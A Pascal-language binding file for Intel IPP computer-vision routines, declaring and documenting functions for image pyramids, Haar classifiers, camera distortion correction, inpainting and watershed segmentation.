function ippiPyramidLayerDownInit_16u_C1R( ppState : IppiPyramidDownState_16u_C1RPtrPtr ; srcRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ; Buffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerDownInit_32f_C1R( pState : IppiPyramidDownState_32f_C1RPtrPtr ; srcRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp32fPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ; Buffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerDownInit_8u_C3R( ppState : IppiPyramidDownState_8u_C3RPtrPtr ; srcRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ; Buffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerDownInit_16u_C3R( ppState : IppiPyramidDownState_16u_C3RPtrPtr ; srcRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ; Buffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerDownInit_32f_C3R( ppState : IppiPyramidDownState_32f_C3RPtrPtr ; srcRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp32fPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ; Buffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerUpInit_8u_C1R( ppState : IppiPyramidUpState_8u_C1RPtrPtr ; dstRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerUpInit_16u_C1R( ppState : IppiPyramidUpState_16u_C1RPtrPtr ; dstRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerUpInit_32f_C1R( ppState : IppiPyramidUpState_32f_C1RPtrPtr ; dstRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp32fPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerUpInit_8u_C3R( ppState : IppiPyramidUpState_8u_C3RPtrPtr ; dstRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerUpInit_16u_C3R( ppState : IppiPyramidUpState_16u_C3RPtrPtr ; dstRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp16sPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiPyramidLayerUpInit_32f_C3R( ppState : IppiPyramidUpState_32f_C3RPtrPtr ; dstRoi : IppiSize ; rate : Ipp32f ; pKernel : Ipp32fPtr ; kerSize : Int32 ; mode : Int32 ; StateBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetPyramidDownROI, ippiGetPyramidUpROI
Purpose: Calculate possible size of destination ROI.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr Wrong src roi
ippStsBadArgErr Wrong rate
Arguments:
srcRoi Source image ROI size.
pDstRoi Pointer to destination image ROI size (down).
pDstRoiMin Pointer to minimal destination image ROI size (up).
pDstRoiMax Pointer to maximal destination image ROI size (up).
rate Neighbour levels ratio (1<rate<=10)
Notes: For up case destination size belongs to interval
max((Int32)((float)((src-1)*rate)),src+1)<=dst<=
max((Int32)((float)(src)*rate)),src+1)
}
function ippiGetPyramidDownROI( srcRoi : IppiSize ; pDstRoi : IppiSizePtr ; rate : Ipp32f ): IppStatus; _ippapi
function ippiGetPyramidUpROI( srcRoi : IppiSize ; pDstRoiMin : IppiSizePtr ; pDstRoiMax : IppiSizePtr ; rate : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiPyramidLayerDown_8u_C1R, ippiPyramidLayerDown_16u_C1R, ippiPyramidLayerDown_32f_C1R
ippiPyramidLayerDown_8u_C3R, ippiPyramidLayerDown_16u_C3R, ippiPyramidLayerDown_32f_C3R
ippiPyramidLayerUp_8u_C1R, ippiPyramidLayerUp_16u_C1R, ippiPyramidLayerUp_32f_C1R
ippiPyramidLayerUp_8u_C3R, ippiPyramidLayerUp_16u_C3R, ippiPyramidLayerUp_32f_C3R
Purpose: Perform downsampling/upsampling of the image with 5x5 gaussian.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the specified pointers is NULL
ippStsSizeErr The srcRoiSize or dstRoiSize has a fild with zero or negativ value
ippStsStepErr The steps in images are too small
ippStsBadArgErr pState->rate has wrong value
ippStsNotEvenStepErr One of the step values is not divisibly by 4 for floating-point
images, or by 2 for short-integer images.
Arguments:
pSrc Pointer to the source image
srcStep Step in byte through the source image
srcRoiSize Size of the source image ROI in pixel.
dstRoiSize Size of the destination image ROI in pixel.
pDst Pointer to destination image
dstStep Step in byte through the destination image
pState Pointer to the pyramid layer structure
}
function ippiPyramidLayerDown_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidDownState_8u_C1RPtr ): IppStatus; _ippapi
function ippiPyramidLayerDown_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidDownState_8u_C3RPtr ): IppStatus; _ippapi
function ippiPyramidLayerDown_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidDownState_16u_C1RPtr ): IppStatus; _ippapi
function ippiPyramidLayerDown_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidDownState_16u_C3RPtr ): IppStatus; _ippapi
function ippiPyramidLayerDown_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidDownState_32f_C1RPtr ): IppStatus; _ippapi
function ippiPyramidLayerDown_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidDownState_32f_C3RPtr ): IppStatus; _ippapi
function ippiPyramidLayerUp_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidUpState_8u_C1RPtr ): IppStatus; _ippapi
function ippiPyramidLayerUp_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidUpState_8u_C3RPtr ): IppStatus; _ippapi
function ippiPyramidLayerUp_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidUpState_16u_C1RPtr ): IppStatus; _ippapi
function ippiPyramidLayerUp_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidUpState_16u_C3RPtr ): IppStatus; _ippapi
function ippiPyramidLayerUp_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidUpState_32f_C1RPtr ): IppStatus; _ippapi
function ippiPyramidLayerUp_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pState : IppiPyramidUpState_32f_C3RPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Haar Classifier
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiHaarClassifierInit ippiTiltedHaarClassifierInit
Purpose: Initializes memory for the stage of the Haar classifier.
Arguments:
pState The pointer to the pointer to the Haar classifier structure.
pFeature The pointer to the array of features.
pWeight The pointer to the array of feature weights.
pThreshold The pointer to the array of classifier thresholds [length].
pVal1, pVal2 Pointers to arrays of classifier results [length].
pNum The pointer to the array of classifier lengths [length].
length The number of classifiers in the stage.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The number of classifiers or features is less or equal zero
ippStsbadArgErr The bad feature rectangular
ippStsMemAllocErr Memory allocation error
Notes: For integer version feature weights pWeight are in Q0, classifier thresholds
pThreshold are in QT (see ApplyHaarClassifier), pVal1 and pVal2 are scale as
stage thresholds threshold of ApplyHaarClassifier function
}
function ippiHaarClassifierInit_32f( pState : IppiHaarClassifier_32fPtr ; pFeature : IppiRectPtr ; pWeight : Ipp32fPtr ; pThreshold : Ipp32fPtr ; pVal1 : Ipp32fPtr ; pVal2 : Ipp32fPtr ; pNum : Int32Ptr ; length : Int32 ): IppStatus; _ippapi
function ippiHaarClassifierInit_32s( pState : IppiHaarClassifier_32sPtr ; pFeature : IppiRectPtr ; pWeight : Ipp32sPtr ; pThreshold : Ipp32sPtr ; pVal1 : Ipp32sPtr ; pVal2 : Ipp32sPtr ; pNum : Int32Ptr ; length : Int32 ): IppStatus; _ippapi
function ippiTiltedHaarClassifierInit_32f( pState : IppiHaarClassifier_32fPtr ; pFeature : IppiRectPtr ; pWeight : Ipp32fPtr ; pThreshold : Ipp32fPtr ; pVal1 : Ipp32fPtr ; pVal2 : Ipp32fPtr ; pNum : Int32Ptr ; length : Int32 ): IppStatus; _ippapi
function ippiTiltedHaarClassifierInit_32s( pState : IppiHaarClassifier_32sPtr ; pFeature : IppiRectPtr ; pWeight : Ipp32sPtr ; pThreshold : Ipp32sPtr ; pVal1 : Ipp32sPtr ; pVal2 : Ipp32sPtr ; pNum : Int32Ptr ; length : Int32 ): IppStatus; _ippapi
function ippiHaarClassifierGetSize( dataType : IppDataType ; roiSize : IppiSize ; pNum : Int32Ptr ; length : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiTiltHaarFeatures_32f, ippiTiltHaarFeatures_32s
Purpose: Tilts marked feature on -45 degree
Arguments:
pMask The mask of feature to tilt.
flag 1 - left bottom -45 degree
0 - left top +45 degree
pState The pointer to the Haar classifier structure.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
Notes: The mask length is equal to the number of classifiers in the classifier
If pMask[i] != 0 i-th feature is tilted
Classifiers with tilted features require two input integral images and
can be used by rippiApplyMixedHaarClassifier functions
}
function ippiTiltHaarFeatures_32f( pMask : Ipp8uPtr ; flag : Int32 ; pState : IppiHaarClassifier_32fPtr ): IppStatus; _ippapi
function ippiTiltHaarFeatures_32s( pMask : Ipp8uPtr ; flag : Int32 ; pState : IppiHaarClassifier_32sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetHaarClassifierSize_32f, ippiGetHaarClassifierSize_32s
Purpose: Returns the size of the Haar classifier.
Arguments:
pState Pointer to the Haar classifier structure.
pSize Pointer to the returned value of Haar classifier size.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
}
function ippiGetHaarClassifierSize_32f( pState : IppiHaarClassifier_32fPtr ; pSize : IppiSizePtr ): IppStatus; _ippapi
function ippiGetHaarClassifierSize_32s( pState : IppiHaarClassifier_32sPtr ; pSize : IppiSizePtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiApplyHaarClassifier, ippiApplyMixedHaarClassifier
Purpose: Applies the stage of Haar classifiers to the image.
Arguments:
pSrc The pointer to the source image of integrals.
srcStep The step in bytes through the source image.
pNorm The pointer to the source image of norm factors.
normStep The step in bytes through the image of norm factors.
pMask The pointer to the source and destination image of classification decisions.
maskStep The step in bytes through the image of classification decisions.
pPositive The pointer to the number of positive decisions.
roiSize The size of source and destination images ROI in pixels.
threshold The stage threshold value.
pState The pointer to the Haar classifier structure.
scaleFactor Scale factor for classifier threshold*norm, <= 0
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The number of classifiers or features is less or equal zero
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
}
function ippiApplyHaarClassifier_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pNorm : Ipp32fPtr ; normStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pPositive : Int32Ptr ; threshold : Ipp32f ; pState : IppiHaarClassifier_32fPtr ): IppStatus; _ippapi
function ippiApplyHaarClassifier_32s32f_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pNorm : Ipp32fPtr ; normStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pPositive : Int32Ptr ; threshold : Ipp32f ; pState : IppiHaarClassifier_32fPtr ): IppStatus; _ippapi
function ippiApplyHaarClassifier_32s_C1RSfs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pNorm : Ipp32sPtr ; normStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pPositive : Int32Ptr ; threshold : Ipp32s ; pState : IppiHaarClassifier_32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiApplyMixedHaarClassifier_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pTilt : Ipp32fPtr ; tiltStep : Int32 ; pNorm : Ipp32fPtr ; normStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pPositive : Int32Ptr ; threshold : Ipp32f ; pState : IppiHaarClassifier_32fPtr ): IppStatus; _ippapi
function ippiApplyMixedHaarClassifier_32s32f_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pTilt : Ipp32sPtr ; tiltStep : Int32 ; pNorm : Ipp32fPtr ; normStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pPositive : Int32Ptr ; threshold : Ipp32f ; pState : IppiHaarClassifier_32fPtr ): IppStatus; _ippapi
function ippiApplyMixedHaarClassifier_32s_C1RSfs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pTilt : Ipp32sPtr ; tiltStep : Int32 ; pNorm : Ipp32sPtr ; normStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pPositive : Int32Ptr ; threshold : Ipp32s ; pState : IppiHaarClassifier_32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Correction of Camera Distortions
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiUndistortGetSize
Purpose: calculate the buffer size for Undistort functions
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
Parameters:
roiSize Maximal image size
pBufsize Pointer to work buffer size
Notes:
}
function ippiUndistortGetSize( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCreateMapCameraUndistort_32f_C1R
Purpose: initialize x and y maps for undistortion by ippiRemap function
Return:
ippStsNoErr Ok
ippStsNullPtrErr pxMap or pyMap is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsBadArgErr Bad fx or fy
Parameters:
pxMap Pointer to x map (result, free by ippiFree)
xStep Pointer to x map row step (result)
pyMap Pointer to x map (result, free by ippiFree)
yStep Pointer to x map row step (result)
roiSize Maximal image size
fx, fy Focal lengths
cx, cy Coordinates of principal point
k1, k2 Coeffs of radial distortion
p1, p2 Coeffs of tangential distortion
pBuffer Pointer to work buffer
Notes:
fx, fy != 0
}
function ippiCreateMapCameraUndistort_32f_C1R( pxMap : Ipp32fPtr ; xStep : Int32 ; pyMap : Ipp32fPtr ; yStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; p1 : Ipp32f ; p2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiUndistortRadial_8u_C1R, ippiUndistortRadial_8u_C3R,
ippiUndistortRadial_16u_C1R, ippiUndistortRadial_16u_C3R
ippiUndistortRadial_32f_C1R, ippiUndistortRadial_32f_C3R
Purpose: correct camera distortion
Return:
ippStsNoErr Ok
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsBadArgErr Bad fx or fy
Parameters:
pSrc Source image
srcStep Step in source image
pDst Pointer to destination image
dstStep Step in destination image
roiSize Source and destination image ROI size.
fx, fy Focal lengths
cx, cy Coordinates of principal point
k1, k2 Coeffs of radial distortion
pBuffer Pointer to work buffer
Notes:
}
function ippiUndistortRadial_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiUndistortRadial_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiUndistortRadial_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiUndistortRadial_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiUndistortRadial_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiUndistortRadial_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; fx : Ipp32f ; fy : Ipp32f ; cx : Ipp32f ; cy : Ipp32f ; k1 : Ipp32f ; k2 : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGradientColorToGray_8u_C3C1R,
ippiGradientColorToGray_16u_C3C1R,
ippiGradientColorToGray_32f_C3C1R
Purpose: Calculate gray gradient from 3-channel gradient image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
Parameters:
pSrc The source image
srcStep Its step
pDst The destination image
dstStep Its step
roiSize ROI size
norm The norm type
rippiNormInf = max(|a|,|b|,|c|)
rippiNormL1 = (|a|+|b|+|c|)/3
rippiNormL2 = sqrt((a*a+b*b+c*c)/3)
Note: For integer flavors, the result is scaled to the full range of the
destination data type
}
function ippiGradientColorToGray_8u_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ): IppStatus; _ippapi
function ippiGradientColorToGray_16u_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ): IppStatus; _ippapi
function ippiGradientColorToGray_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiInpaintGetSize
Purpose: Computes the size of the State structure and the size
of the required work buffer (in bytes).
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of the image are less or equal zero
ippStsStepErr The step in distance image is too small
ippStsBadArgErr Wrong radius or flags
ippStsNumChannensErr Specified number of channels is invalid or unsupported
Parameters:
pMask Pointer to the mask image ROI
maskStep Distance in bytes between starts of consecutive lines in the mask image
roiSize Size of the image ROI in pixels.
radius Neighborhood radius (dist<=radius pixels are processed)
flags Inpainting flags
IPP_INPAINT_TELEA Telea algorithm is used
IPP_INPAINT_NS Navier-Stokes equation is used
channels number of image channels
pStateSize Pointer to the size value state structure.
pBufSize Pointer to the size value of the external work buffer.
}
function ippiInpaintGetSize( pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; radius : Ipp32f ; flags : IppiInpaintFlag ; channels : Int32 ; pStateSize : Int32Ptr ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiInpaintInit_8u_C1R, ippiInpaintInit_8u_C3R
Purpose: Initializes a structure for direct inpainting algorithm
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of the image are less or equal zero
ippStsStepErr The steps in distance image or mask image ROI are too small
ippStsNotEvenStepErr Step is not multiple of element
ippStsBadArgErr Wrong radius or flags
Parameters:
ppState Double pointer to the state structure for the image
inpaiting.
pDist Pointer to the ROI of the image of distances.
distStep Distance in bytes between starts of consecutive lines in
the image of distances.
pMask Pointer to the mask image ROI.
maskStep Distance in bytes between starts of consecutive lines in
the mask image.
roiSize Size of the image ROI in pixels
radius Neighborhood radius (dist<=radius pixels are processed)
flags Specifies algorithm for image inpainting; following values
are possible:
IPP_INPAINT_TELEA Telea algorithm is used
IPP_INPAINT_NS Navier-Stokes equation is used
StateBuf Pointer to the buffer to initialize state structure.
pBuffer Pointer to the work buffer.
}
function ippiInpaintInit_8u_C1R( ppState : IppiInpaintState_8u_C1RPtrPtr ; pDist : Ipp32fPtr ; distStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; radius : Ipp32f ; flags : IppiInpaintFlag ; pStateBuf : Ipp8uPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiInpaintInit_8u_C3R( ppState : IppiInpaintState_8u_C3RPtrPtr ; pDist : Ipp32fPtr ; distStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; radius : Ipp32f ; flags : IppiInpaintFlag ; pStateBuf : Ipp8uPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiInpaint_8u_C1R, ippiInpaint_8u_C3R
Purpose: restores damaged image area by direct inpainting
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image are less or equal zero or different from init
ippStsStepErr The steps in images are too small
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starts of consecutive lines in the
destination image.
roiSize Size of the image ROI in pixels.
pState Pointer to inpainting structure
pBuffer Pointer to work buffer
}
function ippiInpaint_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pState : IppiInpaintState_8u_C1RPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiInpaint_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pState : IppiInpaintState_8u_C1RPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSegmentGradientGetBufferSize_8u_C1R
ippiSegmentGradientGetBufferSize_8u_C3R
Purpose: Get size of external buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
Parameters:
roiSize The image ROI size
pBufSize The pointer to the buffer size
}
function ippiSegmentGradientGetBufferSize_8u_C1R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiSegmentGradientGetBufferSize_8u_C3R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSegmentGradient_8u_C1R, ippiSegmentGradient_8u_C3R
Purpose: Draw bounds between image segments
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
ippStsStepErr The steps in images are too small
Parameters:
pSrc Source image
srcStep Its step
pMarker Source and destination marker image
markerStep Its step
roiSize Image ROI size
norm Type of norm to form the mask for maximum search:
rippiNormInf Infinity norm (8-connectivity, 3x3 rectangular mask).
rippiNormL1 L1 norm (4-connectivity, 3x3 cross mask).
flag Flags
IPP_SEGMENT_BORDER_4 Draw L1 segment borders.
IPP_SEGMENT_BORDER_8 Draw Linf segment borders.
pBuffer Pointer to working buffer
}
function ippiSegmentGradient_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMarker : Ipp8uPtr ; markerStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ; flags : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSegmentGradient_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMarker : Ipp8uPtr ; markerStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ; flags : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSegmentWatershedGetBufferSize
Purpose: Get size of external buffer.
Parameters:
roiSize - Size, in pixels, of the ROI.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a zero or negative value.
}
function ippiSegmentWatershedGetBufferSize_8u_C1R ( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiSegmentWatershedGetBufferSize_8u16u_C1R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
function ippiSegmentWatershedGetBufferSize_32f16u_C1R( roiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSegmentWatershed
Purpose: Draw bounds between image segments
Parameters:
pSrc - Pointers to the source image ROI.
srcStep - Distances, in bytes, between the starting points of consecutive lines in the source image.
pMarker - Pointers to the marker image ROI.
markerStep - Distances, in bytes, between the starting points of consecutive lines in the marker image.
roiSize - Size, in pixels, of the ROI.
norm - Type of norm to form the mask for maximum search:
ippiNormInf Infinity norm (8-connectivity, 3x3 rectangular mask);
ippiNormL1 L1 norm (4-connectivity, 3x3 cross mask);
ippiNormL2 approximation of L2 norm (8-connectivity, 3x3 mask 11, 15);
ippiNormFM Fast marching distance (4-connectivity).
flag - Flags
IPP_SEGMENT_QUEUE Via priority queue (not supported for Ipp32f data).
IPP_SEGMENT_DISTANCE Via distance transform.
IPP_SEGMENT_BORDER_4 Draw L1 segment borders.
IPP_SEGMENT_BORDER_8 Draw Linf segment borders.
pBuffer - Pointer to the buffer for internal calculations.
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a zero or negative value.
ippStsStepErr - Error when The steps in images are too small.
}
function ippiSegmentWatershed_8u_C1IR ( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMarker : Ipp8uPtr; markerStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ; flag : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSegmentWatershed_8u16u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMarker : Ipp16uPtr ; markerStep : Int32 ; roiSize : IppiSize ; norm : IppiNorm ; flag : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
